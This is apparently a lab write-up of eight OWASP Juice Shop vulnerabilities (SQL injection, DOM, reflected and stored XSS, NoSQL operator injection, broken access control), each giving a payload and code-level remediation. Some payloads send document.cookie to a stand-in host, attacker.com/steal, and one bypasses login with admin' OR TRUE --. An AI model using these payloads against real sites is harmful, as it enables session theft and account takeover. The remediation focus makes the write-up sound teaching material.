OWASP Juice Shop

Documentation of 8 distinct vulnerabilities, exploring the mechanics of exploitation and code-level remediation.

Harshith Suresh March 2026 8 Vulnerabilities
FILTER:
SQLi Injection

Admin Login via SQL Injection

Authentication bypass via crafted email payload

The login endpoint passes the user-supplied email directly into a SQL query without sanitization. By injecting SQL syntax, the password check can be completely bypassed as the single quote closes the email string and -- terminates the remainder of the query.

Payload
{"email":"admin' OR TRUE --","password":"admin"}

SQL LEAKAGE

"sql": "SELECT * FROM Users WHERE email = 'admin OR '1=1 --' AND password = '...'

The server exposed the full SQL query in the error response, facilitating the attack.

Solution
// Safe — parameterized query
db.query('SELECT * FROM Users WHERE email = ?', [email])

// Also — never expose SQL errors to the client
res.status(500).json({ error: 'Authentication failed' })
Key Lesson: Parameterized queries treat user input as pure data, never as syntax. The '-- becomes a literal string to match, not a terminator.
XSS

DOM-Based XSS via Search Parameter

Inject HTML via location.hash — never touches the server

Angular uses location.hash for routing. The search component renders the q parameter directly into the DOM using innerHTML. Since everything after # stays in the browser, this attack remains invisible to server-side WAFs.

Payload — Cookie Exfiltration
http://localhost:3000/#/search?q=<img src=x onerror="new Image().src='https://attacker.com/steal?c='%2Bdocument.cookie">

WHY img onerror?

Not blocked by CORS. Bypasses certain URI filters that block javascript:.

WHY hash (#)?

Browser does not send fragments to the server. Purely client-side execution.

Solution
// Use textContent — treats input as plain text
element.textContent = location.hash.slice(1)

// Angular: use {{ }} not [innerHTML]
<p>{{ searchQuery }}</p>
XSS

Reflected XSS via Order Tracking

Server echoes payload in the HTML response

This payload makes a full HTTP round trip. The server processes the id parameter and injects it back into the page markup. In this SPA, a reload is required to force the server call.

Payload
http://localhost:3000/#/track-result?id=%3Ciframe%20src%3D%22javascript:alert(%60xss%60)%22%3E

XSS Comparison

PropertyDOM XSSReflected XSS
Hits server?NoYes
Indicator# hash? param
Solution
// Output encode before inserting into HTML
const safe = req.query.id
  .replace(/&/g, '&amp;')
  .replace(/</g, '&lt;')
  .replace(/>/g, '&gt;')
XSS

Stored XSS via Product API

Payload persists in database — every visitor is a victim

By intercepting product updates, malicious payloads are stored in the database. This is a passive attack; once injected, the script executes for any user who views the product, including administrators.

Payload — API Intercept
"description": "<img src=x onerror='new Image().src=\"https://attacker.com/steal?c=\"+document.cookie'>"
Solution
// Sanitize on ingest strip HTML at the API layer
const clean = DOMPurify.sanitize(req.body.description)
db.product.update({ description: clean })
Injection

NoSQL Operator Injection

MongoDB operator injection to modify global reviews

The review update endpoint passes the id directly into a MongoDB query. By providing a JSON object with a $in operator, I could modify multiple reviews simultaneously.

Payload
{ "id": { "$in": ["ID_1", "ID_2"] }, "message": "hacked" }
Solution
if (typeof req.body.id !== 'string') {
  return res.status(400).json({ error: 'Invalid id' })
}
Access Control

Review Author Spoofing

API trusts client-supplied identity claims

The server trusts the "author" field in the JSON body. An attacker can impersonate any user by simply providing their email address in the request payload.

Payload
{"message":"spoofed","author":"victim@juice-sh.op"}
Solution
// Safe — read from verified JWT server side
const author = req.user.email 
db.reviews.insert({ message: req.body.message, author: author })
Access Control

Insecure Resource Ownership

Lack of validation for resource deletion

While the site uses roles (Admin), it fails to check resource ownership. This allows a user to delete or edit data they do not own.

Solution — Ownership Verification
const review = db.reviews.findOne({ _id: req.params.id })
if (review.author !== req.user.email) {
  return res.status(403).json({ error: 'Access Denied' })
}
Access Control Injection

JWT Exfiltration via Injection

Truncating SQL checks to harvest session tokens

By interpolating user input directly into a reset query, the password check can be bypassed using '--. This returns a valid JWT to the attacker, allowing full account takeover.

Solution

Eliminate string interpolation across all authentication and account management endpoints. Trusting any client-supplied identity claim without server-side verification is the root cause across these final 4 vulnerabilities.